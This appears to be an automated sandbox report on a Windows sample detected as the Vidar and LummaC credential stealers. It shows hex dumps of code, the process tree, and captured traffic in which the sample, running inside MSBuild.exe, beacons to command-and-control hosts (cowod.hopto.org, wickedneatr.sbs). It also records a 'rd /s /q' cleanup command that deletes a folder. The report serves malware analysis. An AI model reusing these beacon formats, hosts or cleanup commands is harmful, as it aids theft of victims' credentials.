Oct 7, 2024 18:43:45.876477003 CEST	1236	IN	Data Raw: 00 83 c4 10 c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 75 09 83 c6 02 3b 74 24 14 75 e4 5f 8b c6 5e c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 74 09 83 Data Ascii: Vt$WPt$Ru;t$u_^Vt$WPt$Rt;t$u_^APt$NYYVt$;t$tWyWPfNfYY;t$u_^APt$OYYVt$;t$tWyWPOfYY;t$u_^UAWPEf
Oct 7, 2024 18:43:45.876491070 CEST	1236	IN	Data Raw: e0 03 25 e8 00 00 00 66 42 66 bb e3 03 66 35 c0 02 66 81 e9 c8 03 81 c3 fb 02 00 00 66 f7 e2 66 81 f3 24 02 66 f7 ea 66 33 c7 c1 c1 f4 72 0c 42 66 2b f1 66 f7 e8 c1 eb aa eb 14 0f b6 f6 66 f7 e0 f7 e6 49 66 c1 cb 25 23 cb 4e 40 66 f7 e3 f7 e0 66 Data Ascii: %fBff5fff$ff3rBf+ffIf%#N@ffueofff"fff#f+#BP[uEYjVP]iM[i][u3i[3Em]MUE3tt
Oct 7, 2024 18:43:45.876497030 CEST	1236	IN	Data Raw: 66 42 66 f7 e7 0f b6 d7 eb 0b 66 4f 66 f7 e6 66 33 ca c1 d8 78 66 8b ff 81 f6 b1 01 00 00 73 21 83 f9 41 74 4d 66 c1 c2 7a 81 eb 7f 03 00 00 0f b6 fb 66 23 ce c1 ca 22 c1 df dd f7 ef 66 43 eb 15 66 46 66 81 c1 ad 02 4a 66 4e bb 3b 03 00 00 66 bb Data Ascii: fBffOff3xfs!AtMfzf#"fCfFfJfN;ffffFfBrfHffG\|fbffF83$fQwfIffff%fPffCff+ffEfBfewfNfFfI
Oct 7, 2024 18:43:45.876502037 CEST	776	IN	Data Raw: 8b 48 04 89 4d e4 8b 01 ff 50 04 8d 45 e0 50 e8 da 15 00 00 59 89 45 ec 8d 4d e0 e8 1a ef ff ff 21 7d fc 8b 0d 98 65 48 00 8b 41 04 8b b0 d0 65 48 00 c6 45 e0 00 89 75 e4 8b 41 04 8d 88 98 65 48 00 0f b7 41 40 8b 55 ec 8b 12 ff 75 0c ff 75 08 50 Data Ascii: HMPEPYEM!}eHAeHEuAeHA@UuuPQVuEPMRjZ}E}M=eHHeHAjZj39q8ERe(@MeH}jZeHHj39A8EQRMZIVWt$
Oct 7, 2024 18:43:45.876507998 CEST	1236	IN	Data Raw: c8 8b 74 24 38 66 85 c9 51 8b 52 14 0f 9e 44 24 18 8b c2 f2 0f 11 04 24 83 e0 ef 66 85 c9 53 8b 5c 24 28 0f 4f d0 83 7c 24 44 0f 8d 44 24 48 52 0f 47 7c 24 34 6a 4c 50 53 e8 47 0b 00 00 83 c4 10 50 56 57 e8 20 e6 ff ff 83 c4 18 8b 74 24 20 83 7c Data Ascii: t$8fQRD$$fS\$(O\|$DD$HRG\|$4jLPSGPVW t$ \|$8T$$GT$$t$PRut$uuVkD$8v6L$$@D$L$=rD$PD$PD$YYL$PQ_AYYL$D_^[3A]U<@B3D$8ESVWD$ \|$$3
Oct 7, 2024 18:43:45.876512051 CEST	1236	IN	Data Raw: c7 e9 3c 01 00 00 8b 43 30 8b 48 04 89 4c 24 14 8b 01 ff 50 04 8d 44 24 10 50 e8 4a 13 00 00 59 8d 4c 24 10 8b f0 e8 33 e7 ff ff 33 c0 8d 7c 24 24 ab 8d 4c 24 3c 51 8b ce ab ab ab 33 c0 33 ff c7 44 24 3c 07 00 00 00 80 7d 1c 00 89 7c 24 38 66 89 Data Ascii: <C0HL$PD$PJYL$33\|$$L$<Q33D$<}\|$8fD$(tPPD$<PL$(L$<XL$49{$\|9{ vs ;v+C\|$%@t,Vt$ D$uuPWBL$L3@UEEU\|$8D$D$$GD$$QPt$D$
Oct 7, 2024 18:43:45.876523972 CEST	1236	IN	Data Raw: 83 7b 20 00 76 0b 8b 73 20 3b f0 76 04 2b f0 eb 02 33 f6 8b 43 14 25 c0 01 00 00 83 f8 40 0f 84 97 00 00 00 3d 00 01 00 00 74 48 56 ff 75 1c 8d 44 24 1c ff 75 14 ff 75 10 50 ff 75 08 e8 e8 fd ff ff 33 f6 83 7c 24 50 07 57 8b 10 8b 48 04 8d 44 24 Data Ascii: { vs ;v+3C%@=tHVuD$uuPu3\|$PWHD$@GD$@PQRD$<UPuM0n\|$8D$$WGD$(PuD$ uPuVu@PED$8QPuMv03&\|$8D$$WGD$(PuD$ uPux@\|$8L$D$
Oct 7, 2024 18:43:45.881483078 CEST	1236	IN	Data Raw: ff 75 10 c6 45 08 00 8b cf 53 52 ff 75 08 53 e8 80 0b 00 00 5f 5b 5d c2 0c 00 e8 95 01 00 00 cc 53 8b 5c 24 08 55 8b 6c 24 18 56 57 8b 7c 24 18 55 57 53 e8 60 01 00 00 8b 74 24 30 8d 04 6b 56 ff 74 24 38 50 e8 bf d7 ff ff 8b 44 24 34 2b c5 40 50 Data Ascii: uESRuS_[]S\$Ul$VW\|$UWS`t$0kVt$8PD$4+@PoP.CP6$_^][V;t$tt$^VWt$3t$ffx_^VWt$3ff[YPt$_^US]WGO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	53642	45.132.206.251	80	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:43:48.397383928 CEST	183	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDA Host: cowod.hopto.org Content-Length: 5757 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:48.397489071 CEST	5757	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 Data Ascii: ------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------BGHIDGCAFCBAAA
Oct 7, 2024 18:43:49.245855093 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 07 Oct 2024 16:43:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	53640	188.114.96.3	443	2664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 16:43:48 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: wickedneatr.sbs
2024-10-07 16:43:48 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 16:43:48 UTC	555	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FqLUrfQZ95XiDrrope%2FclXOeoi%2F73pK2CmZitX5kH1FGwE68XPobpD%2F%2BREFK%2FlpN1YqXM3ZlFjyYVToPqPYeY%2B7wqDadXFqxzIjP7zPeRw2cwL35KIZLyzNCd3jkdyK0HVY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cef5a2a4ddd8c1e-EWR
2024-10-07 16:43:48 UTC	814	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-07 16:43:48 UTC	1369	IN	Data Raw: 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 Data Ascii: les/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('
2024-10-07 16:43:48 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 76 6d 46 2e 6b 61 4e 71 55 45 6d 49 31 2e 71 65 50 57 64 69 54 70 36 76 42 7a 2e 64 6d 65 49 51 6d 52 63 64 55 6a 6c 4c 41 57 6b 2d 31 37 32 38 33 31 39 34 32 38 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e Data Ascii: <input type="hidden" name="atok" value="vmF.kaNqUEmI1.qePWdiTp6vBz.dmeIQmRcdUjlLAWk-1728319428-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn
2024-10-07 16:43:48 UTC	853	IN	Data Raw: 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 Data Ascii: or sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflar
2024-10-07 16:43:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	53641	188.114.96.3	443	2664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 16:43:48 UTC	352	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=vmF.kaNqUEmI1.qePWdiTp6vBz.dmeIQmRcdUjlLAWk-1728319428-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: wickedneatr.sbs
2024-10-07 16:43:48 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=
2024-10-07 16:43:49 UTC	823	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dj3uohisrdr7abs6dptmndd550; expires=Fri, 31 Jan 2025 10:30:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJhtC9XbyNpEGaL1PTIK547eOd5qef2ahzN6pYZ6oGds8iEibWj74GS%2F2OhP6Sc1%2Bb7a19bXEyQ17xE0AhFySMXCncET%2Bmcol%2FoHR5zCSh29MgmWF5XutL2DKTyGR0E6tCM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cef5a2efa244372-EWR alt-svc: h3=":443"; ma=86400
2024-10-07 16:43:49 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 16:43:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:42:57
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\f1r6P3j3g7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\f1r6P3j3g7.exe"
Imagebase:	0x8f0000
File size:	584'704 bytes
MD5 hash:	8351AA212D7278C381EBE13F2A435AD9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:42:57
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x580000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:42:57
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x650000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:42:57
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x6c0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:42:58
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6532 -s 288
Imagebase:	0x5e0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:43:45
Start date:	07/10/2024
Path:	C:\ProgramData\KEGIDHJKKJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\KEGIDHJKKJ.exe"
Imagebase:	0xd00000
File size:	551'424 bytes
MD5 hash:	8E704ACD1B0C26FDCFD0374D57FCB28E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:43:46
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xbb0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000B.00000002.2205515395.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:43:46
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 908 -s 268
Imagebase:	0x5e0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:43:48
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BGIJDGCAEBFI" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:43:48
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:43:48
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2664 -s 840
Imagebase:	0x7ff72bec0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:43:48
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xef0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.1%
Total number of Nodes:	229
Total number of Limit Nodes:	3

Executed Functions

Function 008F2021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(0097DCD8,?,00000040,?), ref: 008F2738

Strings

a, xrefs: 008F2296
', xrefs: 008F2718
S, xrefs: 008F206A

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: '$S$a
API String ID: 544645111-1060379873
Opcode ID: 430693bb75bcdb6d64f6108a65e409c92b026257d4598b0dd46fcc41a8e64841
Instruction ID: 44c677bcd3bae594674b758d0c311f8d7903e6e4be376cc9fe09526d25761073
Opcode Fuzzy Hash: 430693bb75bcdb6d64f6108a65e409c92b026257d4598b0dd46fcc41a8e64841
Instruction Fuzzy Hash: B2F1C127934E2F06E70864394D522F5A94AFBEA770F914333BF62DB3F4E36909419285

Function 00908E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00908FDD

Part of subcall function 00903A83: HeapAlloc.KERNEL32(00000000,0090A1AA,?,?,0090A1AA,00000220,?,?,?), ref: 00903AB5

__freea.LIBCMT ref: 00908FF2
__freea.LIBCMT ref: 00909002

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: e1cd6f93b5fc23c1969a3528cb1cf164ad806733e9cedd5243865b4ba3881cd9
Instruction ID: e6db531627d705709bc2736cc8f92583e80bc1c5fa4c0b0bebc59378d440f5fb
Opcode Fuzzy Hash: e1cd6f93b5fc23c1969a3528cb1cf164ad806733e9cedd5243865b4ba3881cd9
Instruction Fuzzy Hash: 64518E7270021AAFEB25AF74CC81EBB3AAEEF44750B154529FE48D6191EF35CC5097A0

Function 0090A3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00909ED6: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00909F01

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,0090A1ED,?,00000000,?,?,?), ref: 0090A407
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,0090A1ED,?,00000000,?,?,?), ref: 0090A449

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 9cace89714eee87a81df9438e78e9df81837a18a89b67e9af69989639c256272
Instruction ID: 31d64edae5bd2f25a2d94c51c0d84422b531722aef0d32b0e3ddd17ababde70b
Opcode Fuzzy Hash: 9cace89714eee87a81df9438e78e9df81837a18a89b67e9af69989639c256272
Instruction Fuzzy Hash: C9511775A003458FDB21CF35C8456AEBBF9FF85304F14846ED0968B2A1E6B49945CB92

Function 00906368 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00908F1C,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0090639C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00908F1C,?,?,00000000,?,00000000), ref: 009063BA

Memory Dump Source

